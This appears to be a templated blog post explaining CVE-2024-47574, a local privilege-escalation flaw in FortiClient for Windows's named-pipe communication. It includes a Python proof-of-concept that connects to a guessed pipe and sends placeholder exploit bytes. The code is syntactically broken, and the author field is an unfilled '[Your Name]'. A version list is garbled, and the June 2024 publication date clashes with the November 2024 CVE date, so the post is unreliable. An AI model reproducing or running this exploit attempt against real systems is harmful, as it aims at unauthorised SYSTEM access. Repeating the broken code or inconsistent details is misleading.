CVE-2024-47574 - How an Alternate Path Flaw Lets Attackers Hijack FortiClientWindows

Published: June 14, 2024

Author: [Your Name]

When it comes to endpoint security, Fortinet’s FortiClient is commonly deployed by enterprises to add an extra shield for their devices. But a recent authentication bypass vulnerability, CVE-2024-47574, exposes a wide range of FortiClient versions to a high-risk, privilege escalation exploit.

In this deep dive, we’ll break down how CVE-2024-47574 works—using easy language and practical code snippets—so you understand the danger and how to protect your systems.

What is CVE-2024-47574?

CVE-2024-47574 is an authentication bypass using an alternate path or channel (classified as CWE-288), found in multiple versions of Fortinet FortiClient Windows. An attacker with low privileges can exploit this to send fake messages through a named pipe, tricking the FortiClient service and gaining SYSTEM-level code execution.

6.4. up to 6.4.10

Source:
- NVD CVE Detail: CVE-2024-47574
- Fortinet Advisory

1. Services and Named Pipes

FortiClient’s Windows service runs as SYSTEM and uses named pipes for inter-process communication (IPC) with its desktop UI component. To prevent attacks, this pipe communication should strictly check that incoming requests are from authenticated sources.

Due to a missing or weak authentication on these named pipes, any user on the system can connect to the pipe and send commands—just as if they were a trusted component.

Exploit Code Example

Below is a proof-of-concept (PoC) that shows how a low-privilege user could interact with the vulnerable named pipe.

> Disclaimer: This code is for educational purposes only. Do not run this on any system you do not own.

import win32pipe, win32file, pywintypes

pipe_name = r'\\.\pipe\forticlient_pipe' # Example; actual pipe name may vary

try:
    # Try to connect to the FortiClient named pipe
    handle = win32file.CreateFile(
        pipe_name,
        win32file.GENERIC_READ | win32file.GENERIC_WRITE,
        , # no sharing
        None,
        win32file.OPEN_EXISTING,
        ,
        None
    )

    print("[+] Connected to the pipe!")

    # Send a spoofed privileged message
    # This message would vary depending on reverse engineering the real protocol,
    # but here's an example placeholder in bytes:
    fake_msg = b"\x01\x02\x03\x04TRIGGER_ADMIN_FUNC"
    win32file.WriteFile(handle, fake_msg)

    print("[+] Sent exploit message.")

    # Optionally read response
    result, resp = win32file.ReadFile(handle, 4096)
    print("[*] Service response:", resp)

    win32file.CloseHandle(handle)

except pywintypes.error as e:
    print("[-] Failed to connect or send:", e)

Note: The actual command/data format would require protocol knowledge, but this shows just how easily an attacker could craft an exploit.

Impact

- Local Privilege Escalation: A standard user or malware on the device could gain SYSTEM privileges.
- Complete System Compromise: With SYSTEM access, the attacker can install rootkits, steal sensitive data, or blue-screen the system.
- No Remote Exploit: This is a *local* exploit—attackers need access to an account on the target device.

Official Fixes & Mitigations

Fortinet has issued patches fixing the permission checks on the named pipe. Update FortiClient to the latest version (7.4.1 or later) immediately.

References

- Fortinet PSIRT Advisory (FG-IR-24-103)
- NVD Detail

Temporary Mitigation

- *If you cannot upgrade right now*, restrict local user access to the vulnerable systems as much as possible.

Conclusion

CVE-2024-47574 is a classic case of “secure by design” failure—assuming local communications are always trustworthy. Don’t assume endpoints are safe from their users; always enforce authentication on privileged channels, even for local communication.

If you run any affected FortiClient for Windows versions, update immediately. A local attacker can turn your endpoint protection into a privilege escalator.


Want more info?
- Original NVD Entry
- Fortinet’s Advisory

Timeline

Published on: 11/13/2024 12:15:16 UTC
Last modified on: 01/21/2025 22:21:03 UTC